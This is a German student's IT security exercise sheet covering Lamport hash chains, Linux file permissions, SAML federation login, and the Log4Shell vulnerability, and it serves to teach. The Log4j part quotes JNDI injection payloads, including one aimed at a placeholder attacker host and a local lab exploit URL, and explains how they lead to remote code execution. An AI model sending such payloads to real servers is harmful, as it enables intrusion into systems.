

Blatt 6

Grundlagen der IT-Sicherheit

Luis Staudt

Aufgabe 1: Hashketten

a) Hashkette der Länge 4

Gewählte Hashfunktion: SHA-256. Passphrase $k = \text{LuisStaudt2026}$. Die Hashkette wird iterativ gebildet: $P_i = \text{SHA256}(P_{i-1})$ mit $P_0 = k$.

```
1 k = LuisStaudt2026
2 P_1 = fc0bdf2471b8dcaeb6100f9b95ce6532
3     935dafa4fb4f0ef3abb5c56483aebd71
4 P_2 = b8359d246c00986878167c1e85bc566c
5     b55b25904d1ebcf5a826ca072297536a
6 P_3 = f245e7df73577ecce17b149c4227329d
7     b0baf59459a63fc25b2cc2c9d3fb9deb
8 P_4 = 19d17121ad7c32e1c3f5fa66f7ad4cdc
9     552c9e2fe735be427e7933da9bf7ba0b
```

b) Registrierung und erste Anmeldung

Beim Verfahren nach Lamport wird der höchste Hashwert P_4 initial beim Server registriert. Danach werden die Einmalpasswörter in umgekehrter Reihenfolge (P_3, P_2, P_1) zur Anmeldung verwendet.

Registrierung:

1. Client berechnet die Kette P_1, P_2, P_3, P_4 aus k .
2. Client sendet ausschließlich P_4 an den Server.
3. Server speichert $(\text{user}, P_4, i = 4)$.

Erste Anmeldung:

1. Server fordert das Passwort zum Index $i - 1 = 3$ an.
2. Client sendet P_3 .
3. Server prüft $\text{SHA256}(P_3) \stackrel{?}{=} P_4$.
4. Ergebnis: stimmt überein $\Rightarrow$ Login erfolgreich.

5. Server ersetzt den gespeicherten Wert durch P_3 und erniedrigt den Index auf $i = 3$.

Wichtig: Aus P_3 lässt sich P_4 berechnen, aber nicht umgekehrt. Ein Angreifer, der P_4 kennt, kann daraus nicht den nächsten benötigten Wert P_3 ableiten.

c) Eve fängt P_{i+1} ab

Eve hat die Verbindung unter Kontrolle und fängt die Antwort P_{i+1} ab, bevor sie Bob erreicht.

- Eve kann sich gegenüber Bob anstelle von Alice anmelden, indem sie P_{i+1} selbst weiterreicht.
- Da Alice die Antwort bereits verschickt hat, ist P_{i+1} das aktuell angeforderte Einmalpasswort.
- Das Passwort bleibt nur für genau *eine* Anmeldung gültig. Sobald Bob P_{i+1} akzeptiert, speichert er diesen Wert und fordert beim nächsten Mal P_i an. P_{i+1} ist damit verbraucht und wertlos.
- Gültigkeit also: bis zur nächsten erfolgreichen Anmeldung mit diesem Passwort; danach nicht mehr nutzbar.

d) Wann fällt der Verlust auf?

Wenn Eve P_{i+1} einmalig nutzt und die Übertragung von Alice zu Bob unterbunden hat, synchronisieren Alice und Bob ihren Index nicht mehr. Der Verlust fällt bei der nächsten regulären Anmeldung von Alice auf:

- Bob hat den Index bereits auf $i - 1$ erniedrigt (nach Eves Anmeldung) und erwartet jetzt P_i .
- Alice rechnet davon aus, dass P_{i+1} noch nicht angekommen ist, und versucht diesen Wert erneut oder den nächsten in ihrer Zählung.
- Dadurch kommt es zu einem Index-Mismatch: Alice sendet einen Hash, dessen Prüfung bei Bob fehlschlägt.

Der Angriff wird also spätestens bemerkt, sobald Alice das nächste Mal einen Anmeldeversuch unternimmt.

Aufgabe 2: Rechtemanagement unter Linux

Alle Befehle werden in `/tmp/test` ausgeführt. Die Benutzer `alice`, `bob` und `eve` sowie Testdateien werden wie in der Vorbereitung beschrieben angelegt.

Vorbereitung

```
1 cd /tmp && mkdir test && cd test
2 sudo useradd alice
3 sudo useradd bob
4 sudo useradd eve
5 cat /etc/passwd | grep -E "alice|bob|eve"
6 alice:x:1001:1001::/home/alice:/bin/sh
7 bob:x:1002:1002::/home/bob:/bin/sh
8 eve:x:1003:1003::/home/eve:/bin/sh
9
10 echo "Geheimer Text von Alice"      > alice.txt
11 echo "Geheimer Text von Bob"       > bob.txt
12 echo "Alice und Bob teilen sich das" > alicebob.txt
13 echo "Für alle sichtbar"           > world.txt
```

a) Interpretation von `ls -l`

```
1 drwxrwxr-x  2 luis luis  4096 Apr 15 23:23 ./
2 -rw-rw-r--  1 luis luis   30 Apr 15 23:23 alicebob.txt
3 -rw-rw-r--  1 luis luis   24 Apr 15 23:23 alice.txt
4 -rw-rw-r--  1 luis luis   22 Apr 15 23:23 bob.txt
5 -rw-rw-r--  1 luis luis   19 Apr 15 23:23 world.txt
```

Spaltenbedeutung: Rechtemaske | Anzahl Hardlinks | Besitzer | Gruppe | Größe | Datum | Name.

Die Rechtemaske besteht aus einem Dateityp (`-` = Datei, `d` = Verzeichnis) und drei Gruppen zu je drei Bits für *owner*, *group* und *others* mit jeweils `r` (lesen, 4), `w` (schreiben, 2) und `x` (ausführen, 1).

Alle Testdateien gehören aktuell `luis:luis` mit der Maske `-rw-rw-r-` (664). Das heißt: Besitzer und Gruppe dürfen lesen und schreiben, alle anderen dürfen nur lesen.

b) Besitzverhältnisse mit `chown` ändern

```

1 sudo chown alice:alice alice.txt
2 sudo chown alice:alice alicebob.txt
3 sudo chown bob:bob bob.txt
4 sudo chown bob:bob world.txt
5 ls -l
6 -rw-rw-r-- 1 alice alice 30 Apr 15 23:23 alicebob.txt
7 -rw-rw-r-- 1 alice alice 24 Apr 15 23:23 alice.txt
8 -rw-rw-r-- 1 bob bob 22 Apr 15 23:23 bob.txt
9 -rw-rw-r-- 1 bob bob 19 Apr 15 23:23 world.txt

```

c) Alice liest `bob.txt`?

```

1 sudo su alice
2 $ whoami
3 alice
4 $ cat bob.txt
5 Geheimer Text von Bob
6 $ cat alice.txt
7 Geheimer Text von Alice

```

Alice kann `bob.txt` lesen, obwohl die Datei Bob gehört. Grund: Die Rechmodmaske `-rw-rw-r--` gibt allen anderen Benutzern (*others*) Leserechte. Alice fällt für `bob.txt` unter *others* und darf deshalb den Inhalt sehen. Erst mit strikteren Rechten (600) wird der Zugriff verweigert.

d) Zugriff nur für den Besitzer (600)

```

1 sudo chmod 600 alice.txt bob.txt alicebob.txt world.txt
2 ls -l
3 -rw----- 1 alice alice 30 Apr 15 23:23 alicebob.txt
4 -rw----- 1 alice alice 24 Apr 15 23:23 alice.txt
5 -rw----- 1 bob bob 22 Apr 15 23:23 bob.txt
6 -rw----- 1 bob bob 19 Apr 15 23:23 world.txt

```

Prüfung als Alice, Bob und Eve:

```

1 sudo su alice
2 $ cat alice.txt
3 Geheimer Text von Alice
4 $ cat bob.txt
5 cat: bob.txt: Permission denied
6
7 sudo su bob
8 $ cat bob.txt
9 Geheimer Text von Bob
10 $ cat alice.txt
11 cat: alice.txt: Permission denied
12
13 sudo su eve
14 $ cat alice.txt

```

```

15 cat: alice.txt: Permission denied
16 $ cat bob.txt
17 cat: bob.txt: Permission denied

```

Der Zugriff wird jetzt bei allen fremden Benutzern korrekt verweigert.

e) **alicebob.txt** gemeinsam für Alice und Bob

Eine gemeinsame Gruppe **aliceundbob** wird angelegt, Alice und Bob werden Mitglieder. Die Datei erhält diese Gruppe als Gruppenbesitzer und die Maske **660**.

```

1 sudo groupadd aliceundbob
2 sudo usermod -a -G aliceundbob alice
3 sudo usermod -a -G aliceundbob bob
4 sudo chown alice:aliceundbob alicebob.txt
5 sudo chmod 660 alicebob.txt
6 ls -l
7 -rw-rw---- 1 alice aliceundbob 30 Apr 15 23:23 alicebob.txt
8 -rw----- 1 alice alice      24 Apr 15 23:23 alice.txt
9 -rw----- 1 bob   bob        22 Apr 15 23:23 bob.txt
10 -rw----- 1 bob   bob        19 Apr 15 23:23 world.txt

```

Prüfung (Login-Shell **su -**, damit die neue Gruppenzugehörigkeit aktiv ist):

```

1 sudo su - alice -c "cat /tmp/test/alicebob.txt"
2 Alice und Bob teilen sich das
3
4 sudo su - bob -c "cat /tmp/test/alicebob.txt"
5 Alice und Bob teilen sich das
6
7 sudo su - eve -c "cat /tmp/test/alicebob.txt"
8 cat: /tmp/test/alicebob.txt: Permission denied

```

Alice und Bob dürfen lesen und schreiben, Eve nicht.

f) **world.txt** für alle

```

1 sudo chmod 666 world.txt
2 ls -l
3 -rw-rw---- 1 alice aliceundbob 48 Apr 15 23:29 alicebob.txt
4 -rw----- 1 alice alice      24 Apr 15 23:23 alice.txt
5 -rw----- 1 bob   bob        22 Apr 15 23:23 bob.txt
6 -rw-rw-rw- 1 bob   bob        19 Apr 15 23:23 world.txt
7
8 sudo su - eve -c "cat /tmp/test/world.txt"
9 Für alle sichtbar

```

Mit **666** dürfen Besitzer, Gruppe und alle anderen lesen und schreiben.

Aufgabe 3: SAML und Identitäts-Föderation

Gegenstand der Untersuchung ist die Anmeldung am Dienst `bwsyncandshare.kit.edu` im Inkognito-Modus. Die Analyse erfolgt anhand einer HAR-Mitschrift aus den Entwicklertools.

a) Warum kann ich mich am KIT-Dienst mit HFU-Account anmelden?

bwSync&Share wird vom KIT betrieben, ist aber Teil der landesweiten Föderation *bwIDM*. Der Dienst nimmt nur die Rolle des Service Providers (SP) ein und lagert die Authentifizierung an einen Identity Provider (IdP) aus. Beim Login wählt der Nutzer seine Hochschule; der SAML-Standard sorgt dafür, dass der HFU-IdP (`idp2.hs-furtwangen.de`) die Identität bestätigt. Nach erfolgreicher Prüfung übermittelt der IdP eine signierte SAML-Assertion an den SP, der daraufhin eine lokale Sitzung eröffnet.

Die eigentlichen Zugangsdaten verlassen dabei nie die HFU. Das KIT vertraut ausschließlich der Signatur des HFU-IdPs.

b) Host-Kette beim Aufruf von bwSync&Share

Im Inkognito-Fenster werden nacheinander folgende Hosts angesprochen (Reihenfolge aus HAR):

1. `bwsyncandshare.kit.edu`: SP, erzeugt initialen `SAMLRequest` und leitet weiter.
2. `bwidm.scc.kit.edu`: Discovery-/Shibboleth-SP der bwIDM-Föderation, forwarded zum IdP der gewählten Hochschule.
3. `idp2.hs-furtwangen.de`: HFU-IdP, erzeugt eigenen `SAMLRequest`, verlangt Login.
4. `login.microsoftonline.com`: Azure AD der HFU, hier erfolgt die eigentliche Eingabe von Benutzername, Passwort und MFA.
5. Rückweg: Azure AD → HFU-IdP → bwIDM-SP → bwSync&Share mit signierter SAML-Assertion.

Auffällig: Der HFU-IdP delegiert die Anmeldung selbst an Microsoft Azure AD weiter. Shibboleth fungiert hier nur noch als SAML-Frontend, die Identitätsprüfung erfolgt im Microsoft-Tenant der HFU.

Übertragene Daten (Auszug):

Initialer SAML-Request vom SP (bwSync&Share) an bwIDM:

```

1 <samlp:AuthnRequest
2   ID="ONELOGIN_f207b0bd03a182e31c4af2883dc21bc687b5a15b"
3   Version="2.0" IssueInstant="2026-04-15T20:32:52Z"
4   Destination="https://bwidm.scc.kit.edu/saml/idp/redirect"
5   ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
6   AssertionConsumerServiceURL=
7     "https://bwsyncandshare.kit.edu/apps/user_saml/saml/acs">
8   <saml:Issuer>
9     https://bwsyncandshare.kit.edu/apps/user_saml/saml/metadata
10  </saml:Issuer>
11  <samlp:NameIDPolicy
12    Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
13    AllowCreate="true" />
14 </samlp:AuthnRequest>

```

Die Antwort des IdP ist eine verschlüsselte SAML-Assertion, die per Hidden-Form und automatischem POST an den AssertionConsumerService des SPs gesendet wird.

c) Warum kein erneuter Login bei Felix?

Nach dem erfolgreichen Login bei bwSync&Share hat der Browser das Cookie `__Host-shib_idp_session` beim HFU-IdP gesetzt. Dieses Cookie bindet die aktive IdP-Sitzung an den Browser.

Ruft der Nutzer anschließend Felix auf, beginnt die gleiche SAML-Kette: Felix sendet einen `SAMLRequest` an denselben IdP. Der IdP erkennt die laufende Sitzung anhand des Cookies und überspringt die Anmeldemaske komplett. Er erzeugt sofort eine neue SAML-Assertion für den neuen SP (Felix). Aus Nutzersicht entsteht so der Eindruck eines Single-Sign-On.

d) Vergleich zu Kerberos

Sowohl Kerberos als auch SAML realisieren Single-Sign-On mittels eines vertrauten Dritten.

- Kerberos KDC (Authentication Server + TGS) entspricht dem SAML-IdP.
- Kerberos-Dienst (z. B. Fileserver) entspricht dem SAML-SP.

- Das *Ticket-Granting-Ticket* (TGT) entspricht am ehesten dem Cookie `__Host-shib_idp_session` beim IdP: Beide dienen als Nachweis einer aktiven Anmeldung und werden für weitere Authentifizierungen wiederverwendet.
- Das pro Dienst ausgestellte *Service-Ticket* entspricht der einzelnen SAML-Assertion, die der IdP für jeden SP erzeugt.

Hauptunterschied: Kerberos arbeitet nur im lokalen Netz mit symmetrischer Kryptografie, SAML nutzt asymmetrische Signaturen über HTTP und ist deshalb auch organisationsübergreifend einsetzbar.

Aufgabe 4: Log4j-Schwachstelle

a) Beschreibung der Sicherheitslücke

Die Log4j-Schwachstelle (bekannt als *Log4Shell*) betrifft die weitverbreitete Java-Logging-Bibliothek Apache Log4j 2 in Versionen vor 2.17.0.

Kernproblem: Log4j unterstützt sogenannte *Lookups* in Log-Nachrichten. Wenn eine Benutzereingabe (z. B. ein HTTP-Header, ein Suchbegriff oder ein Benutzername) geloggt wird, interpretiert Log4j eingebettete Ausdrücke der Form `${jndi:ldap://attacker.com/exploit}` und führt diese aus.

Angriffsablauf:

1. Der Angreifer sendet eine manipulierte Eingabe an eine Webanwendung, z. B. im User-Agent-Header:

```
1 User-Agent: ${jndi:ldap://attacker.com/exploit}
2
```

2. Die Anwendung loggt die Eingabe mit Log4j.
3. Log4j erkennt den `${jndi:...}`-Ausdruck und führt einen JNDI-Lookup (Java Naming and Directory Interface) durch.
4. Der JNDI-Lookup kontaktiert den vom Angreifer kontrollierten LDAP-Server.
5. Der LDAP-Server antwortet mit einer Referenz auf eine Java-Klasse (serialisiertes Objekt).
6. Die JVM lädt und instanziert die Klasse $\Rightarrow$ **Remote Code Execution (RCE)** auf dem Server.

Zentrale Schwächen:

- **Benutzereingaben werden als Code interpretiert:** Log4j evaluiert Lookup-Ausdrücke in Log-Nachrichten, ohne zwischen vertrauenswürdigen Code und Benutzereingaben zu unterscheiden.

- **Netzwerkzugriff aus dem Logger:** JNDI erlaubt es, externe Ressourcen über LDAP/RMI nachzuladen, was einen Ausbruch aus der Anwendung ermöglicht.
- **Standardmäßig aktiviert:** Die Lookup-Funktion war in der Standardkonfiguration aktiv, ohne dass Entwickler explizit zustimmen mussten.

b) CVE-Nummer

Die primäre Schwachstelle wurde als **CVE-2021-44228** registriert (CVSS-Score: 10.0, kritisch).

Weitere verwandte CVEs:

- CVE-2021-45046: Unvollständiger Fix in 2.15.0
- CVE-2021-45105: Denial-of-Service über rekursive Lookups
- CVE-2021-44832: RCE über manipulierte Konfiguration

c) Zugehörige CWE-Schwachstellen

Aus der MITRE CWE Top-25 Liste (2021) sind folgende Schwachstellen relevant:

- **CWE-20: Improper Input Validation** – Benutzereingaben werden ohne Validierung oder Bereinigung an Log4j weitergereicht und dort als Lookup-Ausdrücke interpretiert.
- **CWE-502: Deserialization of Untrusted Data** – Der über JNDI/LDAP nachgeladene Code wird als serialisiertes Java-Objekt instanziiert, ohne Prüfung der Herkunft.
- **CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection)** – Log4j's Lookup-Syntax (`${...}`) ist eine Expression Language, die in Log-Nachrichten nicht neutralisiert wird.

d) Analyse des VulnerableServer

Der bereitgestellte Server (`VulnerableServer.java`) ist ein minimaler HTTP-Server auf Port 8080. Bei einem Aufruf von `http://127.0.0.1:8080/irgendetwas` geschieht Folgendes:

1. Der Server nimmt die TCP-Verbindung an (Zeile 19).

2. Die angeforderte Ressource wird aus der HTTP-Anfrage extrahiert und URL-dekodiert (Zeilen 46–48).
3. Die Ressource wird per Log4j geloggt (Zeile 33).
4. Eine HTML-Antwort mit der Ressource wird zurückgesendet (Zeilen 36–37).

Ausgabe bei normalem Aufruf:

```
1 Server bereit...
2 11:41:11.932 [main] OFF VulnerableServer
3   - Angefragte Resource: /irgendetwas
```

Die verwundbare Zeile ist Zeile 33:

```
1 logger.always().log("Angefragte Resource: " + requestedResource);
```

Hier wird die vom Benutzer kontrollierte Eingabe `requestedResource` direkt an Log4j übergeben. Log4j evaluiert darin enthaltene Lookup-Ausdrücke wie `${jndi:ldap://...}`.

Zusätzlich setzt Zeile 13 die Systemeigenschaft `com.sun.jndi.ldap.object.trustURLCodebase` auf `true`, was das Nachladen von Remote-Klassen über LDAP explizit erlaubt.

e) Ausführung des Exploits

Der Exploit (`Exploit.java`) startet einen LDAP-Server auf `127.0.0.1:389`. Wenn ein Angreifer die URL `http://127.0.0.1:8080/${jndi:ldap://127.0.0.1/exe}` aufruft, passiert:

1. Der `VulnerableServer` URL-dekodiert die Eingabe und übergibt sie an Log4j.
2. Log4j erkennt den `${jndi:ldap://127.0.0.1/exe}`-Ausdruck und führt einen JNDI-Lookup durch.
3. Der Lookup kontaktiert den LDAP-Server des Angreifers auf Port 389.
4. Der LDAP-Server antwortet mit einem serialisierten `Payload`-Objekt (Zeilen 67–81 in `Exploit.java`).
5. Die JVM deserialisiert das Objekt und ruft `Payload.toString()` auf.
6. `toString()` führt `Runtime.getRuntime().exec()` aus, was auf dem Server beliebigen Code ausführt (im Beispiel: Taschenrechner öffnen).

Dies demonstriert **Remote Code Execution (RCE)**: Ein Angreifer kann durch eine einfache HTTP-Anfrage beliebigen Code auf dem Server ausführen, weil eine Logging-Bibliothek Benutzereingaben als Ausdrücke interpretiert.

f) Schwachstelle verhindern (ohne Log4j-Patch)

- **JNDI-Lookups deaktivieren:** Die JVM-Option `-Dlog4j2.formatMsgNoLookups=true` oder die Umgebungsvariable `LOG4J_FORMAT_MSG_NO_LOOKUPS=true` setzen.
- **JndiLookup-Klasse entfernen:** Die Klasse `JndiLookup.class` aus dem Log4j-JAR löschen:

```
1 zip -q -d log4j-core-*.jar
2   org/apache/logging/log4j/core/lookup/JndiLookup.class
3
```

- **Ausgehende Netzwerkverbindungen einschränken:** Per Firewall LDAP/RMI-Verbindungen (Port 389, 1099) vom Anwendungsserver nach außen blockieren. So kann der JNDI-Lookup den Angreifer-Server nicht erreichen.
- **Eingaben bereinigen:** Benutzereingaben vor dem Loggen filtern, sodass `${}`-Ausdrücke nicht an Log4j weitergegeben werden.
- **Java-Version aktualisieren:** Ab Java 8u191 ist `com.sun.jndi.ldap.object.trustURLCode` standardmäßig `false`, was das Nachladen von Remote-Klassen über LDAP unterbindet.